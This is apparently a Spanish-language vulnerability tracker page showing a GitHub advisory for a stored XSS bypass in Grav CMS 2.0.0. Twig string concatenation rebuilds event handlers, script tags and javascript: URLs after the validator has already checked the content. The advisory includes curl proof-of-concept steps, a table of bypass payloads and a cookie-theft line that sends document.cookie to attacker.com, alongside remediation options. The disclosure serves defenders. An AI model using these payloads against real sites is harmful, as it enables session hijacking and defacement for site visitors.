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Advisory · GitHub · Packagist · getgrav/grav

GHSA-2C4F-86XC-CR74

Grav: XSS Blueprint Validation Bypass via Twig String Concatenation

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CVSS
—
medium
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versión2.0.1
Exposición65 dDesde la divulgación, 16 sept 2026, 5:13 p. m.
Detección61 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de la severidad declarada por GHSA (media) y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
Paso a paso, como subiendo al Cotopaxi.Esto lo arregla la rutina de siempre.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada +1
Explotación
Remediación
Monitoreo
Detectada
16 sept 26
17 nov 26
21 nov 26
16 sept 26
3 oct 26
19 oct 26
5 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-2C4F-86XC-CR74 divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

The XSS blueprint validator (`Security::detectXss()`) runs on the raw page content before Twig processing. An attacker can use Twig's string concatenation operator (`~`) to dynamically construct an event handler name at render time. The validator sees `{{ "on" ~ "error" }}` - a harmless Twig expression - and allows the content. After Twig processes the template, the output contains `<img src=1 onerror=alert(1)>` which is rendered via `{{ content|raw }}` and executes in the victim's browser.

---

Details

The two-stage attack exploits the separation between validation and rendering:

Stage 1 - what the XSS validator sees (raw page content):

{% set x = "on" ~ "error" %}
<img src=1 {{ x }}=alert(document.domain)>

The `detectXss()` function scans this string. The `on_events` regex looks for `<[^>]*?[\s\x00-\x20\"\'\/](on\s*[a-z]+|xmlns)\s*=` inside HTML tags. In `{{ x }}`, the `{` character is not in the boundary set `[\s\x00-\x20\"\'\/]`, and `x` is not `on`. No match - passes validation.

Stage 2 - what Twig produces (after rendering):

<img src=1 onerror=alert(document.domain)>

The validator never re-inspects Twig output. The theme template renders this via `{{ page.content|raw }}` (confirmed in `quark2/templates/default.html.twig:5`), so no auto-escaping occurs.

Why `{% set %}` and `~` are allowed - `system/config/security.yaml:125-145`:

allowed_tags:
  - set          # ← allows variable assignment
  ...

The `~` operator is a core Twig operator for string concatenation (like `.` in PHP). It is not a function, filter, or tag — it is always available and not gated by the sandbox.

The same technique bypasses the `dangerous_tags` blocklist - any blocked tag name can be reconstructed:

<s{{"c"~"r"~"i"~"p"~"t"}}>alert(1)</s{{"c"~"r"~"i"~"p"~"t"}}>
{# XSS validator sees: <s{{...}}> - no <script> tag detected
   Twig output: <script>alert(1)</script> #}

Also bypasses the `invalid_protocols` check:

<a href="{{"java"~"script"}}:alert(1)">click</a>
{# Validator sees: href="{{...}}" - no "javascript:" protocol detected #}

---

Proof of Concept

### Prerequisites
1. `twig_content.process_enabled: true` set by admin
2. `api.pages.write` permission (page creation)

Step 1 - Obtain JWT token (any user with page write access)
JWT=$(curl -s http://127.0.0.1/grav/api/v1/auth/token \
  -X POST -H "Content-Type: application/json" \
  -d '{"username":"user","password":"pass"}' \
  | python3 -c "import json,sys; print(json.load(sys.stdin)['data']['access_token'])")
Step 2 - Create page with Twig XSS payload
curl -s http://127.0.0.1/grav/api/v1/pages -X POST \
  -H "Authorization: Bearer $JWT" -H "Content-Type: application/json" \
  -d '{
    "title": "xss-page",
    "folder": "xss-page",
    "route": "/xss-page",
    "template": "default",
    "header": {"title": "xss", "process": {"markdown": false}},
    "content": "{% set x = \"on\" ~ \"error\" %}<img src=1 {{ x }}=alert(document.domain)>"
  }'

Result: `201 Created` - XSS validator passes because it sees `{{ x }}`, not `onerror`.

Step 3 - Visit page → XSS fires
curl -s http://127.0.0.1/grav/xss-page | grep -oP '<img[^>]*>'
# Output: <img src=1 onerror=alert(document.domain)>

Open in browser: `http://127.0.0.1/grav/xss-page` - `alert(document.domain)` fires.
<img width="1842" height="996" alt="image" src="https://github.com/user-attachments/assets/eedd2555-266e-41fc-a461-c56631b8a588" />
<img width="1346" height="263" alt="image" src="https://github.com/user-attachments/assets/b42b4ba3-4b8c-40a3-8fc3-62f961835aef" />

#### From a low-level user
Also From a low-level user normal script such as `<img src=1 onerror=alert(1)>` this is being blocked by the restriction.
<img width="1849" height="980" alt="image" src="https://github.com/user-attachments/assets/f1503d4a-7daf-4237-b155-22801b961b57" />

But with payloads such as <a href="{{"java"~"script"}}:alert(1)">click</a> proves that the we can bypass the blueprint restrictions and upload malicious script to it
<img width="1841" height="1009" alt="image" src="https://github.com/user-attachments/assets/60af8cf8-840a-4b9c-84ba-6f89355035fd" />
<img width="1524" height="390" alt="image" src="https://github.com/user-attachments/assets/201991b7-3d56-4d85-9bbc-17a63b9cb770" />

Alternative payloads (all bypass the validator)

| Payload | Twig Source | After Twig | Triggers |
|---------|------------|------------|----------|
| Event handler | `<img src=1 {{"on"~"error"}}=alert(1)>` | `<img src=1 onerror=alert(1)>` | Image load fails |
| Script tag | `<s{{"c"~"r"~"i"~"p"~"t"}}>alert(1)</s{{"c"~"r"~"i"~"p"~"t"}}>` | `<script>alert(1)</script>` | Immediately |
| Protocol bypass | `<a href="{{"java"~"script"}}:alert(1)">click</a>` | `<a href="javascript:alert(1)">click</a>` | On click |
| Iframe onload | `<i{{"f"~"r"~"a"~"m"~"e"}} {{"on"~"load"}}=alert(1)>` | `<iframe onload=alert(1)>` | Page load |
| Details toggle | `<details open {{"on"~"toggle"}}=alert(1)>` | `<details open ontoggle=alert(1)>` | Page load |
| Cookie theft | `<img src=1 {{"on"~"error"}}=fetch("https://attacker.com/?c="+document.cookie)>` | `<img src=1 onerror=fetch(...)>` | Image load fails |

Admin preview caveat

The Admin2 SPA renders page previews inside a sandboxed iframe:

<iframe sandbox="allow-same-origin allow-scripts allow-forms"></iframe>

`allow-modals` is not set - `alert()` is silenced in the admin preview. Use `fetch()`, `document.write()`, or DOM manipulation payloads to prove execution in the admin panel. The frontend page (no iframe) has no such restriction - `alert()` fires directly.

---

Impact

Once the Twig content master gate is enabled by an administrator, any user with page write access can inject stored XSS into page content that executes for all visitors. The attack:

  • Bypasses all four XSS validator regexes (`on_events`, `invalid_protocols`, `dangerous_tags`, `html_inline_styles`)
  • Bypasses the dangerous tag blocklist (reconstructs `<script>`, `<iframe>`, `<svg>`, etc.)
  • Bypasses the invalid protocol blocklist (reconstructs `javascript:`, `data:`)
  • Persists across page edits (stored in page content file)
  • Executes for every visitor to the page

An attacker can steal session cookies, perform actions as the victim, or deface the site.

---

Remediation

Option A - Re-run the XSS validator on Twig output

After `Twig::processPage()` renders the content, run the XSS validator on the output before it is cached and served:

// In Twig::processPage(), after rendering
$rendered = $twig->render($name, $context);
$result = Security::detectXss($rendered);
if ($result !== null) {
    // Log and sanitize or block
    Security::logTwigSandboxViolation('xss_output', $result, '', $route);
    return ''; // or return escaped version
}
Option B - Disallow `~` and `{% set %}` in sandboxed content (too restrictive)

Removing string concatenation or variable assignment from the sandbox would break legitimate use cases (e.g., building dynamic class names, assembling URLs).

Option C - Block dynamic attribute names in Twig output

Parse the Twig output for HTML and check if any event handler attributes were dynamically constructed. This is complex but comprehensive.

Option D - Escape HTML in rendered Twig output

Wrap the rendered output with `htmlspecialchars()` unless explicitly marked safe. This is the Twig default behavior — the `|raw` filter in theme templates bypasses it. Consider removing `|raw` from default themes and requiring explicit `|raw` only for trusted content.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida
getgrav/grav≥ 2.0.0 < 2.0.1
2.0.0
2.0.1
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Packagistgetgrav/grav
Corregida 2.0.1 — —
Versiones corregidas2.0.1
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-61453
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-61710
Otrahttps://github.com/getgrav/grav/security/advisories/GHSA-2c4f-86xc-cr74
Otrahttps://github.com/getgrav/grav
Otrahttps://www.vulncheck.com/advisories/grav-before-xss-via-twig-string-concatenation

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.